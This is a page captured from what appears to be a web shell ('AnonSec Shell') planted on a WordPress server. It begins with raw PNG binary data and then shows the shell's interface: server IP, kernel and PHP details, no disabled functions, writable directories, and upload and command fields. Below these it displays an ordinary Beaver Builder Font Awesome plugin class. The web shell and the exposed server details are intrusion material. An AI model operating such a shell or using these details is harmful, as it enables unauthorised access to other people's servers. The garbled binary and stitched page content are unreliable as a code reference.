‰PNG  IHDR 3 ( S°Âr 7iCCPsRGB IEC61966-2.1 xœ–wTSهϽ7½P’Š”ÐkhRH ½H‘.*1 JÀ "6DTpDQ‘¦2(à€£C‘±"Š…Q±ëDÔqp–Id­ß¼yïÍ›ß÷~kŸ½ÏÝgï}Öº üƒÂLX € ¡Xáçň‹g` ð l àp³³BøF™|ØŒl™ø½º ùû*Ó?ŒÁ ÿŸ”¹Y"1 P˜ŒçòøÙ\É8=Wœ%·Oɘ¶4MÎ0JÎ"Y‚2V“sò,[|ö™e9ó2„<ËsÎâeðäÜ'ã9¾Œ‘`çø¹2¾&cƒtI†@Æoä±|N6 (’Ü.æsSdl-c’(2‚-ãy àHÉ_ðÒ/XÌÏËÅÎÌZ.$§ˆ&\S†“‹áÏÏMç‹ÅÌ07#â1Ø™Yár fÏüYym²";Ø8980m-m¾(Ô]ü›’÷v–^„îDøÃöW~™ °¦eµÙú‡mi ]ëP»ý‡Í`/ в¾u}qº|^RÄâ,g+«ÜÜ\KŸk)/èïúŸC_|ÏR¾Ýïåaxó“8’t1C^7nfz¦DÄÈÎâpù 柇øþuü$¾ˆ/”ED˦L L–µ[Ȉ™B†@øŸšøÃþ¤Ù¹–‰ÚøЖX¥!@~ (* {d+Ðï} ÆGù͋љ˜ûÏ‚þ}W¸LþÈ$ŽcGD2¸QÎìšüZ4 E@ê@èÀ¶À¸ àA(ˆq`1à‚D €µ ”‚­`'¨u 4ƒ6ptcà48.Ë`ÜR0ž€)ð Ì@„…ÈR‡t CȲ…XäCP”%CBH@ë R¨ª†ê¡fè[è(tº C· Qhúz#0 ¦ÁZ°l³`O8Ž„ÁÉð28.‚·À•p|î„O×àX ?§€:¢‹0ÂFB‘x$ !«¤i@ڐ¤¹ŠH‘§È[EE1PL” Ê…⢖¡V¡6£ªQP¨>ÔUÔ(j õMFk¢ÍÑÎè t,:‹.FW ›Ðè³èô8úƒ¡cŒ1ŽL&³³³ÓŽ9…ÆŒa¦±X¬:ÖëŠ År°bl1¶ {{{;Ž}ƒ#âtp¶8_\¡8áú"ãEy‹.,ÖXœ¾øøÅ%œ%Gщ1‰-‰ï9¡œÎôÒ€¥µK§¸lî.îžoo’ïÊ/çO$¹&•'=JvMÞž<™âžR‘òTÀT ž§ú§Ö¥¾N MÛŸö)=&½=—‘˜qTH¦ û2µ3ó2‡³Ì³Š³¤Ëœ—í\6% 5eCÙ‹²»Å4ÙÏÔ€ÄD²^2šã–S“ó&7:÷Hžrž0o`¹ÙòMË'ò}ó¿^ZÁ]Ñ[ [°¶`t¥çÊúUЪ¥«zWë¯.Z=¾Æóµ„µik(´.,/|¹.f]O‘VÑš¢±õ~ë[‹ŠEÅ76¸l¨ÛˆÚ(Ø8¸iMKx%K­K+Jßoæn¾ø•ÍW•_}Ú’´e°Ì¡lÏVÌVáÖëÛÜ·(W.Ï/Û²½scGÉŽ—;—ì¼PaWQ·‹°K²KZ\Ù]ePµµê}uJõHWM{­fí¦Ú×»y»¯ìñØÓV§UWZ÷n¯`ïÍz¿úΣ†Š}˜}9û6F7öÍúº¹I£©´éÃ~á~遈}ÍŽÍÍ-š-e­p«¤uò`ÂÁËßxÓÝÆl«o§·—‡$‡›øíõÃA‡{°Ž´}gø]mµ£¤ê\Þ9Õ•Ò%íŽë>x´·Ç¥§ã{Ëï÷Ó=Vs\åx٠‰¢ŸN柜>•uêééäÓc½Kz=s­/¼oðlÐÙóç|ϝé÷ì?yÞõü± ÎŽ^d]ìºäp©sÀ~ ãû:;‡‡º/;]îž7|âŠû•ÓW½¯ž»píÒÈü‘áëQ×oÞH¸!½É»ùèVú­ç·snÏÜYs}·äžÒ½Šûš÷~4ý±]ê =>ê=:ð`Áƒ;cܱ'?eÿô~¼è!ùaÅ„ÎDó#ÛGÇ&}'/?^øxüIÖ“™§Å?+ÿ\ûÌäÙw¿xü20;5þ\ôüÓ¯›_¨¿ØÿÒîeïtØôýW¯f^—¼Qsà-ëmÿ»˜w3¹ï±ï+?˜~èùôñî§ŒOŸ~÷„óûpf* pHYs  Ê&ó? ÉIDATxœí™mh[UÇo’Û·´iWi`×b;Ym­`p Œ¬­n¢8Dh7ýà‡²‰ƒ9Q?t²f-(¢›:?±(Žiˆ:W¦‚m†…Vi‰ö…®±)KÚ4ñwºÜr“Ü›·¶YÊú‡'çí9ç>ÿsžsÎsoäp8, ŒŽŽÔÖÖv †ç)>€äK·>äòòòr¯,Ë¿¥ÒA?@`g]]‹lÓFZ—&J&“é‰P(ôªÑh<“¬ƒì÷ûwüL~ûÆÛ—LxK„<ú"‘¢ ‘³RîY„ހ̗ ëé7{<‹6­÷ø|¾»HÿÑSd ³gÏÚÀþIh«œ-C²-2¹ŠÛ’ÌUä;ää²-î·ˆiDžBŒ:z7'2ŽØ"’28¢“ˆ`þ˜˜ø¡¦¦ÆŸ ™KCCCO[­Ö%Qà’íånú…ìŽXE>Ê]ðR&9@ù+ BóÁ`Ж——wUÕ÷C’#©’áÞy$Tª®®Å®G’’ᡯ+D Ç™•>y'Fõ1ÔyÚV+8J¿ÁÈÉ>£û‰šÈ »ùùN‹ÅÒ!º¥JH…Lð™¤d`<΃c«4TÇungFÝõØŠÒÒÒëÁeY2›t°?)™âââ}$Õu¬Ê^ Õ½^ï¶²²²9¥ÂétšÚÚÚöhè>ŠØÕxÀnV2S"–¤d0ü¾ÿ«óýððp^}}ýêžÑŒÙufÉG =* ò6õ÷jèîaúfffNVVVú ò0D>[‘¤r T²‰/ BÒÍwœD!Ek~~þ†zYQ‹¤’ ¯¨¨8*\ "åé­‡tî™Ò4tSu±×…ˆÀmyin l‘ÉUl‘ÉU2^)ó"«XZZšçBÖmdÞGNdÍ¢Ìq¥¤¤dFd¸Ä \âq©ÜÓÓs²««ËLþ%Đm SÄ_„Iϱ¯æææÄE]Èv»]Äì/³„Ÿ‹žVéf<•±PDŒZÉ"‚vî\ôx<ŽªªªJ¡ÒCZV ÉA’Džþ ¹_ç!"Ì¿ ùÞ©©©1‡ÃˆLÈ*º»»---“šžž···/‹¼xù‚HT;nv,! ÛÍfs£ÎsÜøê1Vð åÊC §!Šï¾6ÌÎΖ–——Ÿ&û¤V{™¢¢¢ýR¼‹‰§.—Ëu^™1Hµ1CÙú*6KDv“ë)Å‘aYÕ¯¸bv?fµNp’LCD­w7IÇúÙ»f£ÈD޼}‘â¯äãR¿C$®'{æk\M¼|åÊÅ;eÇŸø&€K= ‰ ‰¾¸sy]£ý+Ô»áf¦ lî"³¸¸8922²«¡¡aQý•E¬äiô&#„nÕß"bÂûÝn÷›Qd8¿'!’ÖHúhpp°¿©©©‘üe•(G´ú„iPJ~â1œá>ÒWs‹pø5Ü݉—ŒY­Öõñ÷Èw5÷zŒ¥¿ßïÀà·ÈŒi "J!W6oBÆüMrˆ©•ÕWŠü÷ʪ‰h圢·)È(0™L? Xm6Û‹9EÕ^m(Ȧ"#ÐÜÜ,öÚYŸÏ÷9{ÜÞÙÙ¹‹òŸ¢íº›|¬– IEND®B`‚ AnonSec Shell
AnonSec Shell
Server IP : 20.73.19.71  /  Your IP : 10.112.20.21
Web Server : nginx/1.15.12
System : Linux a10deea3d6b7 6.8.0-1044-azure #50~22.04.1-Ubuntu SMP Wed Dec 3 15:13:22 UTC 2025 x86_64
User :  ( 1000)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/html/wp-content/plugins/bb-plugin/classes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /var/www/html/wp-content/plugins/bb-plugin/classes/class-fl-builder-font-awesome.php
<?php
/**
 * Font Awesome Support Class
 *
 * @since 2.4
 */

use function FortAwesome\fa;

final class FLBuilderFontAwesome {

	public static $cache_slug = '_fl_builder_font_awesome_data';
	/**
	 * @since 2.4
	 * @return void
	 */
	static public function init() {
		add_action( 'font_awesome_preferences', array( __CLASS__, 'register_plugin' ) );
		add_action( 'wp_enqueue_scripts', array( __CLASS__, 'fa_official_support' ), 999999 );
		add_action( 'fl_builder_after_sanity_checks', array( __CLASS__, 'sanity_checks' ) );
		add_filter( 'fl_builder_ui_js_config', array( __CLASS__, 'js_config' ) );
		add_filter( 'fl_enable_fa5_pro', array( __CLASS__, 'is_pro_enabled' ) );
		FLBuilderAJAX::add_action( 'query_icons', __CLASS__ . '::query_icons', array( 'text' ) );
		FLBuilderAJAX::add_action( 'recent_icons', __CLASS__ . '::recent_icons', array( 'icon' ) );
	}

	public static function recent_icons( $icon ) {
		$icons   = get_option( 'fl_plugin_recent_icons', array() );
		$icons[] = $icon;
		$icons   = array_reverse( array_unique( $icons ) );
		update_option( 'fl_plugin_recent_icons', $icons );
		echo json_encode( $icons );
		exit;
	}

	public static function query_icons( $text ) {
		if ( '' === $text || ! $text ) {
			return '{}';
		}
		$output    = array();
		$icons     = array();
		$icon_sets = FLBuilderIcons::get_sets();
		$enabled   = FLBuilderModel::get_enabled_icons();
		$styles    = array();

		foreach ( (array) $enabled as $set ) {
			switch ( $set ) {
				case 'font-awesome-5-solid':
					$styles[] = 'solid';
					break;
				case 'font-awesome-5-regular':
					$styles[] = 'regular';
					break;
				case 'font-awesome-5-light':
					$styles[] = 'light';
					break;
				case 'font-awesome-5-brands':
					$styles[] = 'brands';
					break;
				case 'font-awesome-5-duotone':
					$styles[] = 'duotone';
					break;
				case 'font-awesome-5-thin':
					$styles[] = 'thin';
					break;
			}
		}

		if ( self::is_installed() ) {
			$version    = fa()->version();
			$membership = ( fa()->pro() ) ? '' : ',membership{free}';

			$query = sprintf( '{search(version: "%s", query: "%s", first: 100) { id,label,styles%s }}', fa()->version(), $text, $membership );

			$result = json_decode( fa()->query( $query ) );

			if ( isset( $result->data ) && isset( $result->data->search ) ) {
				foreach ( (array) $result->data->search as $icon ) {
					if ( ! fa()->pro() ) {
						if ( empty( $icon->membership->free ) ) {
							continue;
						} else {
							$icon->styles = $icon->membership->free;
						}
					}
					foreach ( $icon->styles as $k => $style ) {
						if ( ! in_array( $style, $styles ) ) {
							unset( $icon->styles[ $k ] );
						}
					}
					$icons[] = array(
						'tag'    => 'fa-' . $icon->id,
						'label'  => $icon->label,
						'styles' => $icon->styles,
					);
				}
			}
			if ( count( $icons ) > 0 ) {
				$output[] = array(
					'name' => 'Font Awesome',
					'slug' => 'font-awesome',
					'data' => $icons,
				);
			}
			unset( $icon_sets['font-awesome-5-solid'] );
			unset( $icon_sets['font-awesome-5-regular'] );
			unset( $icon_sets['font-awesome-5-brands'] );
			unset( $icon_sets['font-awesome-5-light'] );
			unset( $icon_sets['font-awesome-5-duotone'] );
			unset( $icon_sets['font-awesome-5-thin'] );
		}

		if ( ! in_array( 'font-awesome-kit', $enabled ) ) {
			unset( $icon_sets['font-awesome-kit'] );
		}

		foreach ( $icon_sets as $set ) {

			$icons = array();
			foreach ( $set['icons'] as $icon ) {
				if ( strstr( strtolower( $icon ), strtolower( $text ) ) ) {
					$icons[] = array(
						'tag'    => $icon,
						'label'  => $icon,
						'styles' => array( 'legacy' ),
					);
				}
			}
			if ( ! empty( $icons ) ) {
				$output[] = array(
					'name'   => $set['name'],
					'prefix' => $set['prefix'],
					'slug'   => '',
					'data'   => $icons,
				);
			}
		}
		echo json_encode( $output );
		exit;
	}

	/**
	 * Register this plugin for official FA support.
	 */
	public static function register_plugin() {
		$args = apply_filters( 'fl_builder_font_awesome_register_args', array(
			'name'       => __( 'Beaver Builder', 'fl-builder' ),
			'technology' => 'webfont',
		) );
		fa()->register( $args );
	}

	/**
	 * Basic check show warning on BB admin settings.
	 */
	public static function sanity_checks() {

		if ( self::is_installed() && 'svg' === fa()->technology() ) {
			FLBuilderAdminSettings::add_error( self::error_text() );
		}
	}

	/**
	 * Filter our main JS config set fontAwesome var
	 */
	public static function js_config( $config ) {
		$config['fontAwesome'] = self::is_installed() ? fa()->technology() : '';
		return $config;
	}

	/**
	 * Dequeue our FA scripts/styles if enqueued
	 * @since 2.4
	 */
	public static function fa_official_support() {

		/*
		When BB UI is open:
		If there is no custom kit, or its disabled load regular css.

		If there is a kit and its enabled:
			if it has icons we need to load the JS
		*/
		$kit_enabled = false;
		$enabled     = FLBuilderModel::get_enabled_icons();

		if ( in_array( 'font-awesome-kit', $enabled ) ) {
			$kit_enabled = true;
		}

		if ( self::is_installed() && ( wp_script_is( 'font-awesome-official', 'enqueued' ) || wp_style_is( 'font-awesome-official', 'enqueued' ) ) ) {
			wp_dequeue_style( 'font-awesome' );
			wp_dequeue_style( 'font-awesome-5' );
			wp_deregister_style( 'font-awesome' );
			wp_deregister_style( 'font-awesome-5' );
		}
	}

	public static function is_pro_enabled( $enabled ) {

		if ( ! function_exists( 'FortAwesome\fa' ) ) {
			return $enabled;
		}
		if ( self::is_installed() && fa()->pro() ) {
			return true;
		}

		return $enabled;
	}

	/**
	 * Check if font awesome plugin is available.
	 */
	public static function is_installed() {
		return class_exists( 'FortAwesome\FontAwesome_Loader' ) && function_exists( 'FortAwesome\fa' );
	}

	/**
	 * Error text used in wp-admin and modal popup in buildef UI
	 */
	public static function error_text() {
		return __( 'You appear to have the font awesome plugin configured to use svg icons, this currently is incompatible with Beaver Builder. You must switch to a webfont set/kit.', 'fl-builder' );
	}

	/**
	 * Latest supported version.
	 */
	public static function latest_supported() {
		return '5.15.4';
	}

	public static function get_kit_icons() {
		$icons  = array();
		$result = self::get_kit_data();

		if ( ! $result ) {
			return array();
		}

		$data = $result->data->me->kit->iconUploads;
		foreach ( $data as $icon ) {
			$icons[] = 'fa-' . $icon->name;
		}
		return $icons;
	}

	public static function get_kit_data() {

		if ( ! self::is_installed() ) {
			return false;
		}
		$token = fa()->options()['kitToken'];

		if ( ! $token ) {
			return false;
		}
		$result = get_transient( self::$cache_slug );
		if ( false === $result ) {
			// It wasn't there, so regenerate the data and save the transient
			$query  = sprintf( '{ me { kit(token:"%s") { name token iconUploads { name } } } }', $token );
			$result = json_decode( fa()->query( $query ) );
			set_transient( self::$cache_slug, $result );
		}
		return $result;
	}

	public static function get_fa_data() {

		if ( ! self::is_installed() ) {
			return false;
		}

		$kit = self::get_kit_data();

		$data = array(
			'pro'        => array(
				'name'  => __( 'Pro Icons', 'fl-builder' ),
				'value' => ( fa()->pro() ) ? __( 'Yes', 'fl-builder' ) : __( 'No', 'fl-builder' ),
			),
			'technology' => array(
				'name'  => __( 'Technology', 'fl-builder' ),
				'value' => fa()->technology(),
			),
			'version'    => array(
				'name'  => __( 'Version', 'fl-builder' ),
				'value' => fa()->version(),
			),
			'version4'   => array(
				'name'  => __( 'V4 Compatibility Mode', 'fl-builder' ),
				'value' => ( fa()->v4_compatibility() ) ? __( 'Enabled', 'fl-builder' ) : __( 'Disabled', 'fl-builder' ),
			),
		);

		if ( ! $kit ) {
			$data['cdn'] = array(
				'name'  => __( 'Using CDN', 'fl-builder' ),
				'value' => __( 'Yes', 'fl-builder' ),
			);
		} else {
			$data['kit'] = array(
				'name'  => __( 'Using Kit', 'fl-builder' ),
				'value' => $kit->data->me->kit->name,
			);

			// translators: %s, number of icons
			$number           = sprintf( _n( '%s custom icon', '%s custom icons', count( self::get_kit_icons() ), 'fl-builder' ), number_format_i18n( count( self::get_kit_icons() ) ) );
			$data['kitcount'] = array(
				'name'  => __( 'Custom Icons', 'fl-builder' ),
				'value' => sprintf( 'Kit contains %s', $number ),
			);

			// check domain is valid
			$result = wp_remote_get(
				sprintf( 'https://kit.fontawesome.com/%s.js', $kit->data->me->kit->token ),
				array(
					'headers' => array(
						'referer' => home_url(),
					),
				)
			);

			if ( is_array( $result ) && 403 === $result['response']['code'] ) {
				$data['kit403'] = array(
					'name'  => __( 'Issue Detected', 'fl-builder' ),
					/* translators: %s: kit name */
					'value' => sprintf( __( 'This domain appears to be blocked for kit %s', 'fl-builder' ), $kit->data->me->kit->name ),
				);
			}
		}
		return $data;
	}

	public static function clear_cache() {
		delete_transient( self::$cache_slug );
	}
}
/**
 * Needs to be on wp_loaded as that is where FA plugin is started.
 */
add_action( 'wp_loaded', function () {
	FLBuilderFontAwesome::init();
});
add_action( 'update_option_font-awesome', array( 'FLBuilderFontAwesome', 'clear_cache' ) );

Anon7 - 2022
AnonSec Team